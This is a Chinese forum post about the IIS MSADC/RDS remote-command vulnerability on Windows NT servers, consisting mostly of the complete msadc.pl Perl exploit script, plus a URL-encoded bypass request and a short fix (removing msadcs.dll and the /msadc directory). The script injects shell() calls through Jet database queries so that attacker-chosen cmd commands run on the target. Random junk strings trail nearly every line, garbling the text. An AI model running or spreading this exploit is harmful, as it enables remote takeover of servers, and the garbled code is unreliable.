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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -Qn=|2Mm?  
P/`I.p;  
涉及程序: q5 L51KP2  
Microsoft NT server vaon{2/I  
W}|'#nR  
描述: <?D\+khlq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 xB !6_VlB  
wK}\_2?  
详细: UswZG^Wh  
如果你没有时间读详细内容的话,就删除: Zec <m8~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6b!F1  
有关的安全问题就没有了。 OnWx#84  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >*wtbkU  
(@#M!'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;Q+xK h%  
关于利用ODBC远程漏洞的描述,请参看: Q#IG;  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm " ZX3sfkh  
Sc7U |s  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4l&g6YneX  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /W<>G7%.  
eu|j=mB  
这里不再论述。 4hw@yTUo  
A0%}v*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: +,2Jzl'-  
$TI5vhQ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset U8(Nk\"X\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! jg&E94}+  
c`fG1s  
)yo a  
#将下面这段保存为txt文件,然后: "perl -x 文件名" aTzjm`F0  
!cGDy/ |  
#!perl rS1fK1dy s  
# *Y@nVi  
# MSADC/RDS 'usage' (aka exploit) script RyRpl*^  
# Pm$q]A~  
# by rain.forest.puppy I7&_Xr  
# e${>#>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #Mg]GeDJ{  
# beta test and find errors! BYKoel  
zB? V_aT  
use Socket; use Getopt::Std; 0cT*z(  
getopts("e:vd:h:XR", \%args); 7$rjlVe  
|X`/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +78CvjG  
!pJeA)W;  
if (!defined $args{h} && !defined $args{R}) { * 9p |HX=  
print qq~ VACiVKk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +1~Z#^{&  
-h <host> = host you want to scan (ip or domain) K\)Td+~jc  
-d <seconds> = delay between calls, default 1 second kg`.[{k  
-X = dump Index Server path table, if available >Yt/]ta4+  
-v = verbose iKas/8   
-e = external dictionary file for step 5 phE &7*!Q  
FW"^99mrnb  
Or a -R will resume a command session O+RP3ox"  
RaTH\ >n  
~; exit;} z]3 `*/B  
%_UN<a  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,|88r=}  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Z`&4SH=j  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} X w.p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); iVfgDo  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} L}m8AAkP[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } pZyQY+O  
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if (!defined $args{R}){ $ret = &has_msadc; n8hRaNHl2  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} y ?G_y  
E\u#t$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ?b!Fa  
. "cmd /c "; <|?K%FP7Z  
$in=<STDIN>; chomp $in; dCu'>G\bP  
$command="cmd /c " . $in ; _uc\ D R  
CDi<< ,  
if (defined $args{R}) {&load; exit;} *UW=Mdt  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; p N\Vr8tJ  
&try_btcustmr; >E,U>@+  
LJVG~Yeo  
print "\nStep 2: Trying to make our own DSN..."; A^2L~g[^Q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; L^^4=ao0  
Kq.:G%  
print "\nStep 3: Trying known DSNs..."; -VZRujl  
&known_dsn; .q][? mW3  
>\w&6 i~  
print "\nStep 4: Trying known .mdbs..."; G4 G5PXi  
&known_mdb; -{ u*qtp  
N S#TW  
if (defined $args{e}){ !Oi~:Pp  
print "\nStep 5: Trying dictionary of DSN names..."; +PK6-c\r  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,p;_\\<  
V Yw%01#  
print "Sorry Charley...maybe next time?\n"; IcIOC8WC  
exit; 2 3KyCV5  
A?Wk  w f  
############################################################################## umLb+GbI4  
u>pBB@  
sub sendraw { # ripped and modded from whisker |Oag,o"  
sleep($delay); # it's a DoS on the server! At least on mine... p h[\)  
my ($pstr)=@_; !6}O.Nu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L_em')  
die("Socket problems\n"); h O emt  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?GBkqQ  
select(S); $|=1; Z2"? &pKV  
print $pstr; my @in=<S>; hO[3Z ^X  
select(STDOUT); close(S); US{3pkr;I]  
return @in; a,7 &"  
} else { die("Can't connect...\n"); }} @/UfD ye  
[\R>Xcu>  
############################################################################## vVT?h  
-6 sW6;Q  
sub make_header { # make the HTTP request 2u?zO7W)-L  
my $msadc=<<EOT bAr` E  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 k n8N,,+  
User-Agent: ACTIVEDATA [@fz1{*  
Host: $ip Lhh;2r/?78  
Content-Length: $clen Y\2|x*KwvF  
Connection: Keep-Alive A-CUv[pM  
8[ry |J  
ADCClientVersion:01.06 TCvSc\Q[:1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 X5 ITF)&  
^/Sh=4=G  
--!ADM!ROX!YOUR!WORLD! KjB/.4lLq  
Content-Type: application/x-varg woq)\;CK  
Content-Length: $reqlen 5.tvB  
Tp<k<uKD  
EOT bzi|s5!'<  
; $msadc=~s/\n/\r\n/g; pUl8{YGS  
return $msadc;} B pLEPuu30  
TFDm5XJ  
############################################################################## K t#,]]  
DG;y6#|p  
sub make_req { # make the RDS request VhEMk\  
my ($switch, $p1, $p2)=@_; ,)~E>[=+  
my $req=""; my $t1, $t2, $query, $dsn; [&Hkn5yq  
f c6g  
if ($switch==1){ # this is the btcustmr.mdb query g<\z=H  
$query="Select * from Customers where City=" . make_shell(); _x1EZ&dh  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q6`G I6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8O1K[sEjui  
H^1gy=kdj  
elsif ($switch==2){ # this is general make table query 7 gB{In0  
$query="create table AZZ (B int, C varchar(10))"; /)uM[ dnai  
$dsn="$p1";} NE|[o0On  
0=v{RQ;W4  
elsif ($switch==3){ # this is general exploit table query ^+?|Qfi  
$query="select * from AZZ where C=" . make_shell(); )y7_qxwbV  
$dsn="$p1";} em2_pq9q  
M,:Bl}  
elsif ($switch==4){ # attempt to hork file info from index server 5|$a =UIR  
$query="select path from scope()"; > 8]j  
$dsn="Provider=MSIDXS;";} rn.\tDeA  
ZEbLL4n  
elsif ($switch==5){ # bad query =FW5Tkw0  
$query="select"; AW5iV3  
$dsn="$p1";} y,+[$u7h  
@LLTB(@wR  
$t1= make_unicode($query); e<gx~N9l'  
$t2= make_unicode($dsn); U=Bn>F}y\  
$req = "\x02\x00\x03\x00"; >qT'z$  
$req.= "\x08\x00" . pack ("S1", length($t1)); klWYuStZ  
$req.= "\x00\x00" . $t1 ; +yt6(7V*  
$req.= "\x08\x00" . pack ("S1", length($t2)); ;_<)JqUh  
$req.= "\x00\x00" . $t2 ; JhR W[~  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; rVA L|0;3  
return $req;} nv5u%B^  
-+U/Lrt>8  
############################################################################## )WR_ ug  
8 |h9sn;P  
sub make_shell { # this makes the shell() statement oUW<4l  
return "'|shell(\"$command\")|'";} u}H$-$jE  
2pyt&'NJua  
############################################################################## \+qOO65/+  
; 7G_f  
sub make_unicode { # quick little function to convert to unicode #\If]w*j  
my ($in)=@_; my $out; %hT4qzJj  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } aW5~Be$ _  
return $out;} 7el<5chZ  
9EF~l9`'U  
############################################################################## L~FTr  
ACBQ3   
sub rdo_success { # checks for RDO return success (this is kludge) 1"K*._K  
my (@in) = @_; my $base=content_start(@in); rcbP$t vz  
if($in[$base]=~/multipart\/mixed/){ w.kCBDL  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} heD,& OX  
return 0;} [^PCm Z6n  
@Hr+/52B  
############################################################################## 7S2C/f  
c 8'Cq7  
sub make_dsn { # this makes a DSN for us 2DMrMmLI  
my @drives=("c","d","e","f"); WBppKj_M  
print "\nMaking DSN: ";  5) lW  
foreach $drive (@drives) { W$\X~Q'0  
print "$drive: "; jv}=&d  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . w;`m- 9<Y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" VfSGCe  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); lQt% Qx  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; vrrt@y  
return 0 if $2 eq "404"; # not found/doesn't exist ^GXEJU 7U  
if($2 eq "200") { Qd8b-hg  
foreach $line (@results) { 1 ycc5=.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |PM m?2^R  
} return 0;} "xwM+AC  
.`LgYW  
############################################################################## a20w,  
4'At.<]jL  
sub verify_exists { LR$z0rDEM  
my ($page)=@_; q9}2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); shi Hy*(v  
return $results[0];} dl/X."iv!  
2Ug.:![  
############################################################################## kG3!(?:  
kHU"AD}.  
sub try_btcustmr { _Dq Qfc%  
my @drives=("c","d","e","f"); !7` [i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _p4}<pG  
8j\d~Lw=  
foreach $dir (@dirs) { g{DFS[h  
print "$dir -> "; # fun status so you can see progress 5t'Fv<g  
foreach $drive (@drives) { J@bW^>g*6u  
print "$drive: "; # ditto Lb q_~   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >C2HC6O3  
$reqlenlen=length( "$reqlen" ); +J40wFI:y  
$clen= 206 + $reqlenlen + $reqlen; )}|mDN&P  
Hcl"T1N*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o`U|`4,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} F_PTMl=Q|J  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} p5SX1PPQ  
 1KJZWZy  
############################################################################## c/$*%J<  
+sn2Lw!^  
sub odbc_error { <:cpz* G4  
my (@in)=@_; my $base; 0(TvQ{  
my $base = content_start(@in); 7s]Wq6  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ]%XK)[:5_=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '?}R4w|)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tP]q4i  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^-L{/'[8M  
return $in[$base+4].$in[$base+5].$in[$base+6];} rsSue_Q  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6:RMU  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . g3a/;wl  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} .;%q/hP  
i ^S2%qz  
############################################################################## y*KC*/'"  
PdM*5g4  
sub verbose { '(9YB9 i  
my ($in)=@_; ]piM/v\  
return if !$verbose; .v7`$(T  
print STDOUT "\n$in\n";} 8m7eaZ  
/Su)|[/'  
############################################################################## zv9M HC &  
#J~Xv:LgD  
sub save { =5_y<0`4  
my ($p1, $p2, $p3, $p4)=@_; #O6 EP#B  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4Bo<4 4-,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C >kmIw'  
close OUT;} o>K &D$J;O  
DrFur(=T  
############################################################################## 3jg'1^c  
y1Z1=U*!  
sub load { GXEcpc08  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4@))OD^x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); KZi' v6  
@p=<IN>; close(IN); KZ4zF  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1*#bfeoM  
$target= inet_aton($ip) || die("inet_aton problems"); CSH`pU  
print "Resuming to $ip ..."; 9mm2Vps;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; O99mic  
if($p[1]==1) { h+xA?[ c=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 4a 4N C  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; B<C&ay  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); /.2u.G  
if (rdo_success(@results)){print "Success!\n";} e7's)C>/'  
else { print "failed\n"; verbose(odbc_error(@results));}} eRVY.E<  
elsif ($p[1]==3){ |=,83,a  
if(run_query("$p[3]")){ #jgqkMOd,j  
print "Success!\n";} else { print "failed\n"; }} 4[(? L{  
elsif ($p[1]==4){ Lv3XYZgW~  
if(run_query($drvst . "$p[3]")){ :B+Rg cqi  
print "Success!\n"; } else { print "failed\n"; }} To^# 0  
exit;} /THNP 8.  
6ZTaQPtm  
############################################################################## yI:r7=KO  
vh{9'vd3el  
sub create_table { %2zas(b9j  
my ($in)=@_; (qj,GmcS  
$reqlen=length( make_req(2,$in,"") ) - 28; 9[,s4sxH  
$reqlenlen=length( "$reqlen" ); l-MxLcz  
$clen= 206 + $reqlenlen + $reqlen; bu&;-Ynb  
my @results=sendraw(make_header() . make_req(2,$in,"")); # hZQ>zcF  
return 1 if rdo_success(@results); 4D GY6PS  
my $temp= odbc_error(@results); verbose($temp); Y@ObwKcG  
return 1 if $temp=~/Table 'AZZ' already exists/; Kc-4W6?$  
return 0;} m1i4,  
n/?eZx1  
############################################################################## B MY>a  
5<^'Cy  
sub known_dsn { \{:%v#ZZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1ThwvF%Qo  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >KKeV(Ur  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", )]tvwEo  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {Evcc+E q  
Z/n3aYM  
foreach $dSn (@dsns) { 99a \MH`^  
print "."; 8Kk3_ y  
next if (!is_access("DSN=$dSn")); NA=#> f+U%  
if(create_table("DSN=$dSn")){ x!`b'U\  
print "$dSn successful\n"; PE|PwqX  
if(run_query("DSN=$dSn")){ zw,-.fmM#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \a?K?v|8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [u7 vY@  
KS?mw`Nr  
############################################################################## B%2L1T=  
<_>.!9q  
sub is_access { T G_bje  
my ($in)=@_; CJv> /#$/F  
$reqlen=length( make_req(5,$in,"") ) - 28; 8,_ -0_^$  
$reqlenlen=length( "$reqlen" ); y&y/cML?  
$clen= 206 + $reqlenlen + $reqlen; Rnzqw,q  
my @results=sendraw(make_header() . make_req(5,$in,"")); T!1SMo^  
my $temp= odbc_error(@results); UKOFT6|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); qP&byEs"  
return 0;} 5St`@  
i,([YsRuou  
############################################################################## )`mbf|,&t{  
{:,_A  
sub run_query { -}E)M}W  
my ($in)=@_; Ri; =aZ5m  
$reqlen=length( make_req(3,$in,"") ) - 28; wZ$ tJQO  
$reqlenlen=length( "$reqlen" ); :Jjw"}SfK#  
$clen= 206 + $reqlenlen + $reqlen; IX"ZS  
my @results=sendraw(make_header() . make_req(3,$in,"")); 'YBi5_  
return 1 if rdo_success(@results); |PI)A`  
my $temp= odbc_error(@results); verbose($temp); GKiq0*/M  
return 0;} {=s:P|ah  
Z(KmS (  
############################################################################## q Frt^+@  
"/Om}*VhD  
sub known_mdb { Q!YF!WoBX  
my @drives=("c","d","e","f","g"); IF5sqv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \QliHm!  
my $dir, $drive, $mdb; El'yiJ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Q,D0kS P  
<{E;s)hD?  
# this is sparse, because I don't know of many ;]{{)dst  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Wx}M1&d/J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", RzpC1nd  
"\\system32\\certmdb.mdb", s fyBw  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Mm "Wk  
|3 ;u"&(P  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", jYrym-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ZH_FA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", stX'yya  
"\\cfusion\\cfapps\\security\\realm_.mdb", {d^Q7A:`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -xw 98  
"\\cfusion\\database\\cfexamples.mdb", qC\]"Z`m  
"\\cfusion\\database\\cfsnippets.mdb", n"mJEkHE  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T~s&)wD  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }iD$4\ L  
"\\cfusion\\brighttiger\\database\\cleam.mdb", GhtbQM1[H  
"\\cfusion\\database\\smpolicy.mdb", JOJh,8C) 6  
"\\cfusion\\database\cypress.mdb", XpR.rq$]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "EN98^ Sl  
"\\website\\cgi-win\\dbsample.mdb", UHr {  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EbG_43SV  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" m{vT_ei  
); #these are just a_Z.J3  
foreach $drive (@drives) { tvTWZ`  
foreach $dir (@dirs){ y*}AX%8`e~  
foreach $mdb (@sysmdbs) { O|? Z~  
print "."; ?E%U|(S)=L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ &aY/eD  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5woIGO3X  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KLG6QBkj  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; TG4\%S$w  
} else { print "Something's borked. Use verbose next time\n"; }}}}}   YfTd  
~^^!"-  
foreach $drive (@drives) { Rl y jOf{0  
foreach $mdb (@mdbs) { l?})_1v,R  
print "."; |.y>[+Qb*  
if(create_table($drv . $drive . $dir . $mdb)){ L& I` #  
print "\n" . $drive . $dir . $mdb . " successful\n"; FTbT9   
if(run_query($drv . $drive . $dir . $mdb)){ I%pCm||p  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |)28=Z|Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} }Vs~RJM)}  
} w/qQ(]n8  
uG2Xkj  
############################################################################## ARmu{cL  
BXT 80a\  
sub hork_idx { n"XdHW0  
print "\nAttempting to dump Index Server tables...\n"; Tq9,c#}&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #x, ]D  
$reqlen=length( make_req(4,"","") ) - 28; 2ZU@>W  
$reqlenlen=length( "$reqlen" ); ''$`;?t>  
$clen= 206 + $reqlenlen + $reqlen; | \Ab L!u  
my @results=sendraw2(make_header() . make_req(4,"","")); -;sJ25(  
if (rdo_success(@results)){ dD[v=Z_  
my $max=@results; my $c; my %d; !}iL O0  
for($c=19; $c<$max; $c++){ ;X+G6F'  
$results[$c]=~s/\x00//g; <FXQxM5"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; HT{F$27W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 6>@(/mh*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; J%:WLQo  
$d{"$1$2"}="";} bk/.<Rt  
foreach $c (keys %d){ print "$c\n"; } +<'uw  
} else {print "Index server doesn't seem to be installed.\n"; }} NFdJb\  
w;lx:j!Vp$  
############################################################################## O4lxeiRgC  
)fxo)GS  
sub dsn_dict { 1i5 vW-'4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &Tf=~6  
while(<IN>){ tfi2y]{A  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; B(S5+Y  
next if (!is_access("DSN=$dSn")); mJwv&E  
if(create_table("DSN=$dSn")){ K~7'@\2 ?  
print "$dSn successful\n"; p +u{W"I`  
if(run_query("DSN=$dSn")){ vN{vJlpY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ] +}:VaeA  
print "Something's borked. Use verbose next time\n";}}} I'KR'1z 9  
print "\n"; close(IN);} R=2 gtW"r  
#]?,gwvTf  
############################################################################## o%kSR ]V|  
gg lNpzj  
sub sendraw2 { # ripped and modded from whisker &>d:ewM\  
sleep($delay); # it's a DoS on the server! At least on mine... $=\oJ-(!@S  
my ($pstr)=@_; @qg0u#k5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d/0/$Bz}P  
die("Socket problems\n"); ]3gYuz|  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~@b9  
print "Connected. Getting data"; wo,""=l  
open(OUT,">raw.out"); my @in; MuCQxzvkhf  
select(S); $|=1; print $pstr; qg_>`Bv"a  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rg#qSrHp  
close(OUT); select(STDOUT); close(S); return @in; U92B+up-  
} else { die("Can't connect...\n"); }} 5pNvzw  
OGSEvfW  
############################################################################## UMHuIA:%U  
m _t(rn~f6  
sub content_start { # this will take in the server headers |_Naun=+~  
my (@in)=@_; my $c; 9b{g+lMZo  
for ($c=1;$c<500;$c++) { "2y7&#l   
if($in[$c] =~/^\x0d\x0a/){ }e&KO?x+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ANA2S*r  
else { return $c+1; }}} J8qu]{0I"  
return -1;} # it should never get here actually TzD:bKE&  
Y-}hNZn"{  
############################################################################## 7?kXgR[#d  
#C;#$|d  
sub funky { 2:smt)f  
my (@in)=@_; my $error=odbc_error(@in); pl1EJ <  
if($error=~/ADO could not find the specified provider/){ Z'*G'/*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; M]8eW  
exit;} |-SI(Khjk  
if($error=~/A Handler is required/){ jzu l{'g  
print "\nServer has custom handler filters (they most likely are patched)\n"; z1}tC\9'%  
exit;} fzGZ:L  
if($error=~/specified Handler has denied Access/){ ZI#SYEF6  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4fU5RB7%  
exit;}} 1s^$oi}  
kVB}r.NHP  
############################################################################## _js2^<7v}  
MkluK=$  
sub has_msadc { _umO)]Si  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2vk8+LA(6  
my $base=content_start(@results); T }8r;<P6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p ] $  
return 0;} W #JVUGYD  
'|dKg"Yl  
######################## 37ri b  
D6pEQdX`  
i?P]}JENM  
解决方案: `#IT24!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2Wc;hJ.1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 U_zpLpm^  
c,[qjr#\>  
拿出来充数 哈哈
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